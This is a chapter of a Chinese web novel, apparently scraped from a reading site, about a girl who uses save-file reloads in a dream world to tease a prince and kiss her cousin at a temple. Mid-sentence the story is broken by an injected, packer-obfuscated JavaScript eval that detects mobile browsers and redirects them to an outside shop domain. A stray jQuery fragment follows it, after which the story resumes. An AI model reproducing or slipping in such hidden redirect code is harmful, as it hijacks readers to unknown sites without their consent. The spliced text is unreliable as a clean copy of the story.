回到树上,傅岁久双手抱着树干,尝试着把脚收回来。

    只要不被栾岷津察觉到树上有人,她说不定还真能偷听到什么机密呢。

    难得梦里的自由度这么高,她才不要傻傻地走剧情等猎物。

    傅岁久铆着一股劲,尽力蜷缩自己的身体,好让树枝将自己隐藏起来。

    那被叶片遮盖的两道身影近了,她听着栾岷津身后的谋士如常嘀咕:“先帝仙游已有三载,新帝也已下诏选秀。王爷难道——”

    对方话还没说完,栾岷津就已抬手制止,款步走到树下,仰头看向趴在树杈上的傅岁久。

    四目相对,傅岁久一时有些张惶,只晓得瞪大了眼睛看他。

    身后的谋士见他停住了脚步,这便也凑上前去,对上傅岁久的视线瞬间吓得满脸苍白,吆喝着:“来人啊!捉刺客!”

    栾岷津向谋士使了使眼色,又重新扬起头打量她,“谁派你来的,栾烨?”

    傅岁久:……

    你们两主仆能不能有点新鲜的台词?

    反正已经被发现了,她索性也不藏了,应说:“你把我救下来我就告诉你。”

    栾岷津眉头不可察的一耸,轻笑一声,“有意思。”

    他睨了一眼身侧的侍卫,众人便打算爬上树将她救下来。

    “别碰我!”傅岁久嫌恶地瞪了瞪他们,艰难地腾出一只手指了指栾岷津,“我要你救我,栾岷津。”

    站在栾岷津身后的谋士几乎抖成了筛子,连忙喝止:“大胆!王爷的名讳也是你能直呼的吗?”

    “因为我一直是这么喊的啊。”傅岁久也觉得委屈。

    她睡前才刚刚回味了一番和栾岷津的HE,他后期攻略成功以后压根不在乎这些东西,任她怎么叫他,甚至扯他下颌的小胡子也没反应,现在却全然是一副老古板的样子。

    太久没看他这讨人厌的嘴脸还真是有些不习惯。

    “什么?”栾岷津怔了怔,有些怀疑自己到底听到了什么。

    他怎么可能允许一个女人随意地直呼他的大名?

    更何况这个女人是他好侄子派来的刺客。

    简直荒谬。

    “没什么!”傅岁久不想再和他掰扯了,这样古板严肃的栾岷津一点也不好玩儿!

    她气鼓鼓地跳回到第二个存档,“砰”地一声摔开了自己的房门,大喊了一句:“春阳梳头!”

    春阳被吓了一大跳,也不知道一大清早的是谁惹她家小姐了,怎么火气这么大。

    -

    “表兄!”傅岁久提着裙,气冲冲地跑到谢之郢面前。

    披在肩上的青丝只是用缎带随意地捆住末端固定,走起路来像条黑色的长尾一晃一晃。

    谢之郢闻言收起了手里的剑,将剑背过身后,退开半步,“小,小久?你怎么来了?”

    舞剑久了他的身上挂满了细细密密的汗珠,连鬓角都被洇湿,汗液沿着他的下颌滚落在他裸露的胸膛。

    傅岁久盯着他起伏的胸肌,缓缓伸出手,却又被谢之郢向后躲开。

    她鼓着腮帮子盯着他,这才应说:“我要和娘去庙里祭拜,你去是不去?”

    没等谢之郢应答,身后的春阳便凑到傅岁久身边,哆哆嗦嗦道:“小,小姐,夫人可从未说过要出门呀。”

    虽然平时自家小姐出门都是不看夫人脸色的,只是未出阁的女子和男子单独出行,只怕不太妥当。

    眼看着面前的二人对她的话无动于衷,春阳也不好再多说什么,只抿了抿唇退开半步。

    谢之郢垂眸望着气鼓鼓的傅岁久,连忙应道:“去,我稍稍梳洗便来。”

    等到谢之郢沐浴更衣完毕,他远远便看见傅岁久坐在院子里,摆弄他留下的长剑。

    那剑是他命老工匠特地锻造的,单是刀身就有三斤重。练习时刀剑的重一些,到时上阵杀敌用轻剑才会更加有力。

    然而如今那柄长剑在傅岁久手上随意地翻飞,被她肆意玩弄,看不出半点重剑的影子。

    他笑盈盈地望着她弄剑,款步上前,“没想到——”

    话还没说完,傅岁久听到他的声音却猛地一颤,“啊!”

    长剑随之脱手,直直地插进她的脚背。

    身侧的春阳见状也大声哀嚎:“小姐!”

    “我没事。”傅岁久强撑着笑意,摆了摆手,眨眼回档。

    痛死了!

    说好的做梦呢,怎么这么痛啊!

    傅岁久抱着自己的脚,坐在树下“哎哟哎哟”地乱叫。

    虽是回档了,脚背上并无伤口,可她总觉得有些幻痛。

    “小姐这是怎么了?可要去寻大夫?”春阳被她嚎得心烦意乱,忍不住皱起了眉。

    傅岁久摸了摸自己失而复得的脚,生气地应道:“我没事!都怪谢之郢,洗那么久是要干什么?侍寝吗?”

    “可是……”春阳刚要替谢之郢开脱,傅岁久的眼刀便朝她飞去,只好将后半句的“表少爷才刚走”咽进肚子里。

    -

    一行人的马车在山脚停下,谢之郢打了伞先行下马车。

    小厮搬好了阶梯,他便向着上头伸手。

    傅岁久撩开车帘子,看着那双骨节微微泛红的手,想起自己刚刚鲜血横流的脚背,气得朝着他手背猛地一拍,“我自己走!”

    “……”谢之郢悻悻然收回了手,也不知是谁招惹她了,只好侧了侧身子,看着她提着裙摆蹦下来。

    路遇卖风车的摊贩,谢之郢脚步一滞。

    雨滴猝不及防地滴到傅岁久的额头,她瞬间大叫了一声:“哎呀!”

    “怎么了?”谢之郢收回视线,几步上前,将伞向着她那一侧倾斜。

    “还说呢!”傅岁久摸了摸自己湿哒哒的脑袋瓜,皱着脸一把夺过他手里的伞,大步流星地向前走。

    她只顾着大步走,全然没管谢之郢跟不跟得上,更没注意到他佝偻着身子,生怕脑袋将纸伞顶穿。

    身后的傅夫人看着傅岁久那身影,忍不住摇了摇头哀叹:“这孩子,进了宫可如何是好。”

    哪有人能受得了她这性子?

    傅岁久本人全然没有即将入宫的紧张感,只晓得一鼓作气走上长阶梯,回过头去看身后的谢之郢,这才见着他脊背上几乎都是被雨水淋湿的痕迹。

    她错开视线,转身跪在铜像前的软垫上,抿着唇双手合十,若无其事地祈祷。

    如果让信女再也醒不过来,我一生荤素搭配腰缠万贯也愿意啊!

    虔诚地拜了三拜,傅岁久心满意足地拿了钱袋子去添香火。

    等到她再

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17563451|204621||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    次折返,谢之郢还跪在原地一动不动,像是入了定一般。

    她歪歪脑袋,蹲在他的身边,见他迟迟不起也觉得新鲜,伸手向后捞起自己垂落在后背的长发,用发梢戳戳他紧绷的脸颊。

    突如其来的痒意让谢之郢有些无所适从。

    他一睁眼,看到的便是她猫在自己的身侧,将长发抱在怀里,好奇地睁着一双大眼睛皱着鼻子,握住发尾戳他的脸。

    她并没有扎什么精致的发髻,甚至可以说看上去还有些乱糟糟的,可他却总觉得这样的她过分可爱。

    一时间他看得竟有些失神。

    忽然间,他听见面前的傅岁久小声嘟囔:“好呆,想亲。”

    “什么?”谢之郢皱起眉,听不懂她在嘀嘀咕咕些什么。

    然而傅岁久显然也没有要解释的意思,只摸了摸自己下巴,挑了挑眉,“亲了也没事吧?反正他也不记得。”

    说着她便捉住他的手肘,凑到他的面前,将唇印了下来。

    谢之郢整个人都僵住,连小臂也不自觉地紧绷,睁大了眼睛垂眸看她。

    她在他的怀里就像一只刚刚学会喝奶的狸奴,双唇不断翕张,用唇瓣反复含噘。

    攥着他袖口的双手微微震颤,他下意识地抬手去将她抖动的小臂反手握住。

    只是稍稍吻了一阵,傅岁久便觉得脑袋有些发昏,眼冒金星。

    她双手不自觉地按在他跪坐的大腿腿面上,脸热地埋在他颈窝。

    虽然天天虎狼之词挂嘴边,可真要亲了她还是抑制不住地面红耳赤。

    到底是第一次接吻,她没忍住回味起来。

    嘴巴好软。

    只是这阵旖旎并不能持续多久。

    周围的人像是见到什么邪祟一般,纷纷上前指手画脚,嘴里不住地嚷嚷:“光天化日之下,成何体统!”

    就连傅夫人听到动静也赶出来看了一眼,见到两人依偎在一起当场晕了过去。

    趁着事情还没闹大,傅岁久恨恨咬了一口谢之郢的肩膀,默默回档。

    再一睁眼,谢之郢依旧跪坐在她的面前,双手合十。

    只是眉头不知为何拧作了一团,几乎能夹死一只苍蝇。

    傅岁久刚要伸手去按他的眉心,男人却先一步睁开眼,抬手捉住了她的手肘,神色凝重地盯着她。

    她被吓得颤了颤,随手点错了存档,整个人卡在了树上。

    腹部突如其来挤压让她没忍住怪叫一声,这才重新回到二号存档,看着还在原地跪拜的谢之郢,长吁一口气。

    她乖巧地抱着膝,蹲在他身边等候,一时半会都不敢再胡乱跳档。

    只是还没等上多久,谢之郢便缓缓睁开眼,双目微怔,视线几乎完全钉在了地面上。

    他有些不自然地摸了摸自己露出来的那一截白皙的脖颈,这才皱眉起身,伸手去拉身侧乖乖蹲着的她,温声道:“走吧。”

    “这么快?”傅岁久扬起头去看他,手掌拍在他的掌心,借力起身,“许了什么愿啊?”

    谢之郢脚步一滞,继而跨过脚下的门槛,朝着远方眺望,半晌才垂眸应道:“我还是更相信事在人为。”

    “……?”他突如其来的高深听得傅岁久一愣一愣。

    明明刚刚祭拜得最认真的人就是他。